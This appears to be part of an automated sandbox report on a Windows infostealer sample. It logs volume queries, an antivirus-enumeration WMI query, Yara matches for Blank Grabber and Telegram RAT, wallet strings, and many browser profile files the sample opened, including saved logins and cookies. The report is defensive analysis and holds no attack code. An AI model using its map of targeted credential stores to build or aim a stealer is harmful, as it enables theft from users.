Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbd.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\timesbi.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation

Source: C:\Users\user\Desktop\cmd.exe

Code function: 0_2_00007FF70AEFD080 GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

0_2_00007FF70AEFD080

Source: C:\Users\user\Desktop\cmd.exe

Code function: 0_2_00007FF70AF15C70 _get_daylight,_get_daylight,_get_daylight,_get_daylight,_get_daylight,GetTimeZoneInformation,

0_2_00007FF70AF15C70

Source: C:\Users\user\AppData\Local\Temp\_MEI72642\rar.exe

Code function: 65_2_00007FF69A4248CC GetModuleFileNameW,GetVersionExW,LoadLibraryExW,LoadLibraryW,

65_2_00007FF69A4248CC

Source: C:\Users\user\Desktop\cmd.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Source: C:\Windows\System32\wbem\WMIC.exe

WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT displayName FROM AntivirusProduct

Stealing of Sensitive Information

Yara detected Blank Grabber

Source: Yara match	File source: 00000001.00000002.2096102942.000001C916489000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1701296843.00000162C4354000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2098275549.000001C916C2C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1701296843.00000162C4352000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.2096452149.000001C916630000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.2090937481.000001C917404000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 7264, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: cmd.exe PID: 7280, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\_MEI72642\rarreg.key, type: DROPPED

Yara detected Telegram RAT

Source: Yara match

File source: Process Memory Space: cmd.exe PID: 7280, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxxz
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Exodusz
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: EthereumZ
Source: cmd.exe, 00000001.00000003.1713188460.000001C916961000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystoreZ

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\crashes\events
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\PersistentOriginTrials
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\saved-telemetry-pings
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_model_metadata_store
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\DawnCache
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_hint_cache_store
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\bde1cb97-a9f1-4568-9626-b993438e38e1
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\blob_storage\fccd7e85-a1ff-4466-9ff5-c20d62f6e0a2
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\content-prefs.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_agimnkijcaahngcdmfeangaknmldooml
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\4d5b179f-bba0-432a-b376-b1fb347ae64f
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\protections.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\permissions.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\favicons.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2918063365piupsah.files
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\webappsstore.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker\AvailabilityDB
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\metadata
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Manifest Resources
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\EntryDB
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sessions
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Download Service\Files
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\57328c1e-640f-4b62-a5a0-06d479b676c2
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache\Cache_Data
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Feature Engagement Tracker
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\wasm\index-dir
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_mpnpojknpmmopombnjdcgaaiekajbnjb
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\bookmarkbackups
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\2cb4572a-4cab-4e12-9740-762c0a50285f
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.files
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\coupon_db
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.files
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\pending_pings
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Cache
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\glean\events
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage.sqlite
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb\3561288849sdhlie.files
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\_crx_aghbiahbpaijignceidepookljebhfak
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\DawnCache
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Applications\Temp
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\e8d04e65-de13-4e7d-b232-291855cace25
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\minidumps
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalStorageConfigDB
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\datareporting\archived\2023-10
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\03a1fc40-7474-4824-8fa1-eaa75003e98a
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\z6bny8rn.default
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ghbmnnjooekpmoecnnnilnnbdlolhkhi
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\storage\permanent\chrome\idb
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\optimization_guide_prediction_model_downloads\8ad0d94c-ca05-4c9d-8177-48569175e875
Source: C:\Users\user\Desktop\cmd.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Segmentation Platform\SignalDB
